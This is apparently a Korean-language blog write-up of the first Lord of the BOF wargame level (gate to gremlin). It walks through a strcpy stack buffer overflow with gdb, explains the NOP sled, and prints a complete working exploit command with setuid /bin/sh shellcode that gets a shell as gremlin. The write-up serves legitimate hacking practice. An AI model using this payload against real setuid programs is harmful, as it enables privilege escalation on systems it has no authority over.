시작
한 달만에 휴갑니다.. ㅠㅠㅠ 드디어 LOB를 풀게 되네요
노트북 최고!! 1주일동안 사지방 포너블 안녕!! ㅎㅎ!!!
LOB를 먼저 풀고 pwnable.kr을 푸는게 맞는 것 같지만 환경이 환경인지라 어쩔 수가 없었네요ㅠ
달려봅시다 !
Write UP
_______________________
_______________________------------------- `\
/:--__ |
||< > | ___________________________/
| \__/_________________------------------- |
| |
| The Lord of the BOF : The Fellowship of the BOF, 2010 |
| |
| |
| [enter to the dungeon] |
| gate : gate |
| |
| [RULE] |
| - do not use local root exploit |
| - do not use LD_PRELOAD to my-pass |
| - do not use single boot [h4ck3rsch001] |
| ____________________|_
| ___________________------------------------- `\
|/`--_ |
||[ ]|| ___________________/
\===/___________________--------------------------
login: gate
Password:
Last login: Sat May 4 12:15:57 from 192.168.127.1
[gate@localhost gate]$
감-격
The Lord of the BOF의 gate, 던전의 문 앞에 섰습니다. 이제 서버를 전부 뜯어봐요!!
[gate@localhost gate]$ ll
total 16
-rwsr-sr-x 1 gremlin gremlin 11987 Feb 26 2010 gremlin
-rw-rw-r-- 1 gate gate 272 Mar 29 2010 gremlin.c
[gate@localhost gate]$ cat gremlin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- gremlin
- simple BOF
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
main
함수의 인자값을 받아서 취약한 strcpy
함수를 이용해 buffer
배열에 복사합니다.
그 동안 풀어온 문제가 몇 갠데.. 코드만 봐도 공식처럼 떠오르네요 ㅋㅋㅋㅋ
buf
배열 256 + dummy + SFP
+ RET
구조겠죠?
쉘코드와 NOP
을 삽입해서 RET
를 그 근처로 돌리면 간단하게 풀릴 것 같습니다.
우선 gate
계정으로 gremlin
이 소유한 파일을 디버깅할 수 없으니 실행파일을 /tmp/gremlin
으로 복사하겠습니다.
gdb 소!! 환!!
[gate@localhost /tmp]$ gdb -q /tmp/gremlin
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 : push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,0x100
0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1
0x804843d <main+13>: jg 0x8048456 <main+38>
0x804843f <main+15>: push 0x80484e0
0x8048444 <main+20>: call 0x8048350
0x8048449 <main+25>: add %esp,4
0x804844c <main+28>: push 0
0x804844e <main+30>: call 0x8048360
0x8048453 <main+35>: add %esp,4
0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>: add %eax,4
0x804845c <main+44>: mov %edx,DWORD PTR [%eax]
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea %eax,[%ebp-256]
0x8048465 <main+53>: push %eax
0x8048466 <main+54>: call 0x8048370
0x804846b <main+59>: add %esp,8
0x804846e <main+62>: lea %eax,[%ebp-256]
0x8048474 <main+68>: push %eax
0x8048475 <main+69>: push 0x80484ec
0x804847a <main+74>: call 0x8048350
0x804847f <main+79>: add %esp,8
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
0x8048484 <main+84>: nop
0x8048485 <main+85>: nop
0x8048486 <main+86>: nop
0x8048487 <main+87>: nop
0x8048488 <main+88>: nop
0x8048489 <main+89>: nop
0x804848a <main+90>: nop
0x804848b <main+91>: nop
0x804848c <main+92>: nop
0x804848d <main+93>: nop
0x804848e <main+94>: nop
0x804848f <main+95>: nop
End of assembler dump.
strcpy
의 인자로 ebp-256
의 주소가 들어가네요.
buffer
배열의 시작주소가 ebp-256
이란 소리니깐 buffer 256 + SFP + RET 구조인 것을 알았습니다.
buffer
와 SFP
는 A
로 채우고 RET
는 B
, 이후엔 NOP
을 100개정도 채워보겠습니다.
왜
NOP
을 사용하나요??
프로그램이 실행되는 중 NOP (=\x90)
을 만나면 아무 동작도 하지 않고 다음으로 넘어갑니다.
때문에 NOP
을 많이 채워놓은 후 바로 뒤에 쉘코드를 붙이고
RET
를 NOP
이 있는 부분 중 하나로 돌린다면 NOP
을 따라 쭉- 미끄러져 내려가서 쉘코드에 도달하게 됩니다.
이것을 nop sled
기법이라고 해요.
(gdb) b *main+59
Breakpoint 1 at 0x804846b
(gdb) r `python -c 'print "A" * 260 + "BBBB" + "\x90" * 100 + "CCCC"'`
Starting program: /tmp/gremlin `python -c 'print "A" * 260 + "BBBB" + "\x90" * 100 + "CCCC"'`
Breakpoint 1, 0x804846b in main ()
(gdb) x/100wx $ebp-256
0xbffff8c8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8e8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff908: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff918: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff928: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff938: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff948: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff958: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff968: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff978: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff988: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff998: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9b8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9c8: 0x41414141 0x42424242 0x90909090 0x90909090
0xbffff9d8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9e8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9f8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa08: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa18: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa28: 0x90909090 0x90909090 0x90909090 0x43434343
0xbffffa38: 0xbffffe00 0xbffffee1 0xbffffefb 0xbfffff10
0xbffffa48: 0xbfffff2c 0xbfffff37 0xbfffff44 0xbfffff4c
결론적으로 우리는 RET
을 NOP
들이 있는 곳 중 하나로 돌리면 쉘을 딸 수 있게 됩니다.
저는 0xbfff9e8
로 잡아볼게요.
쉘코드로는 \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
를 사용했습니다.
[gate@localhost /tmp]$ cd ~
[gate@localhost gate]$ ./gremlin `python -c 'print "A" * 260 + "\xe8\xf9\xff\xbf" + "\x90" * 100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒1̀▒É▒1▒F̀1▒Ph//shh/bin▒▒PS▒▒°
̀1▒̀
bash$ whoami
gremlin
bash$ /bin/my-pass
euid = 501
hello bof world
Exploit!!
마무리
첫 LOB 문제인 gate
를 풀어봤습니다.
아무것도 모르던 평범한 컴공러였는데.. 감격.. 많이 는 것 같아요ㅠㅠㅠ
앞으로 6일동안 LOB 끝장보겠습니다!! 감사합니다 :D
'CTF_Write_UP > LOB' 카테고리의 다른 글
[LOB] wolfman (0) | 2019.05.09 |
---|---|
[LOB] orc (0) | 2019.05.09 |
[LOB] goblin (0) | 2019.05.08 |
[LOB] cobolt (0) | 2019.05.05 |
[LOB] gremlin (0) | 2019.05.04 |